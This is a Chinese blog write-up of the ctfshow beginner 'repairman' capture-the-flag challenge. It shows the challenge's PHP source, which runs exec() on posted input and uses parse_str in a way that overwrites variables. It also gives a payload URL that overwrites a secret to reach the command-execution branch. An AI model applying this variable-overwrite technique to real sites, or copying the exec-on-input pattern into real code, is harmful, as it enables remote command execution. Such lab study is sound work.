首页 > 其他分享 >ctfshow新手杯repairman

ctfshow新手杯repairman

时间:2022-10-07 13:56:12浏览次数:65  
标签:index secret ctfshow 新手 php repairman mode

首先get传递参数mode=0得到源码

Your mode is the guest!hello,the repairman! <?php
error_reporting(0);
session_start();
$config['secret'] = Array();
include 'config.php';
if(isset($_COOKIE['secret'])){
    $secret =& $_COOKIE['secret'];
}else{
    $secret = Null;
}

if(empty($mode)){
    $url = parse_url($_SERVER['REQUEST_URI']);
    parse_str($url['query']);
    if(empty($mode)) {
        echo 'Your mode is the guest!';
    }
}

function cmd($cmd){
    global $secret;
    echo 'Sucess change the ini!The logs record you!';
    exec($cmd);
    $secret['secret'] = $secret;
    $secret['id'] = $_SERVER['REMOTE_ADDR'];
    $_SESSION['secret'] = $secret;
}

if($mode == '0'){
    //echo var_dump($GLOBALS);
    if($secret === md5('token')){
        $secret = md5('test'.$config['secret']);
        }

        switch ($secret){
            case md5('admin'.$config['secret']):
                echo 999;
                cmd($_POST['cmd']);
            case md5('test'.$config['secret']):
                echo 666;
                $cmd = preg_replace('/[^a-z0-9]/is', 'hacker',$_POST['cmd']);
                cmd($cmd);
            default:
                echo "hello,the repairman!";
                highlight_file(__FILE__);
        }
    }elseif($mode == '1'){
        echo '</br>hello,the user!We may change the mode to repaie the server,please keep it unchanged';
    }else{
        header('refresh:5;url=index.php?mode=1');
        exit;
    }

 对于不认识的函数要百度明白,这里的parse_str能够实现覆盖变量,因此payload如下index.php?mode=0&config[secret]=youyou&secret=7f258ef6c9c746f0418e1730a3b78046

标签:index,secret,ctfshow,新手,php,repairman,mode
From: https://www.cnblogs.com/meng-han/p/16759612.html

相关文章

  • CTFShow 反序列化
    序列化:是将变量转换为可保存或传输的字符串的过程反序列化(反串行化):就是在适当的时候把这个字符串再转化成原来的变量使用。notice:序列化只是将变量序列化。试图通过序......
  • .NET EF(Entity Framework)新手详解
    一丶EntityFramework(一)EF简介(1)ORM:ObjectRelationMapping,通俗说:用操作对象的方式来操作数据库。(2)插入数据库不再是执行Insert,而是类似于Personp=newPerson();p.Age=......
  • 传奇单机版新手速成技术指导
    给新人讲解下5分钟速成技术指导1.如何设置GM名单M2-查看-列表信息-管理员列表。写上GM的角色名(权限等级必须设置为10。)2.如何查看GM命令GM命令也是在M2server里面。M2-选项-游......
  • CTFShow 文件包含
    web78目的很明显,需要我们去包含一个文件。<?php/*#-*-coding:utf-8-*-#@Author:h1xa#@Date:2020-09-1610:52:43#@LastModifiedby:h1xa#@LastM......
  • JavaScript新手需要注意的事项
    verible如果一个变量没有使用var关键字进行声明的话,那么这个变量就是全局变量,在ES6中,添加了useStrict来解决这一个痛点,只需要在代码中加入usestrict`usestrict`i=......
  • ctfshow 命令执行总结
    做完ctfshowweb29~77、118~124的总结,写的比较简略。PHP中简单的eval函数执行字符限制绕过使用通配符*and??c=system('tacf*');使用`执行命令......
  • git github gitee 新手命令
    gitcheckout-bxxx:gitcheckoutxxx是指切换到xxx(用local区的xxx替换disk区文件),-b意味着branch,即创建新分支,这条指令合起来意思是创建并切换到xxx。gitdiff:查看暂存区与......
  • CTFShow XSS
    做题目前,需要先搭建一个网站,用于接收flag。这里选择的是php语言。网页(2.php)代码如下:大概说一下作用,接收get传递来的参数,并写在flag.txt中<?php$flag=$_GET['c'];$......
  • Java新手如何训练基本功?
    1.Java基本功1.1.Java入门(基础概念与常识)1.2.Java语法1.3.基本数据类型1.4.方法(函数)这里给大家推荐一个适合Java小白必看的教学视频!如何自学Java?当你准备开始接......
  • Linux新手要了解的十个知识点
    Linux对于有的新手来说,感觉无从下手,或者不知道从哪儿学起?怎么学?针对这些问题,我给大家说说新手学习Linux需要了解的十个知识点。注意大小写Linux是大小写敏感的系......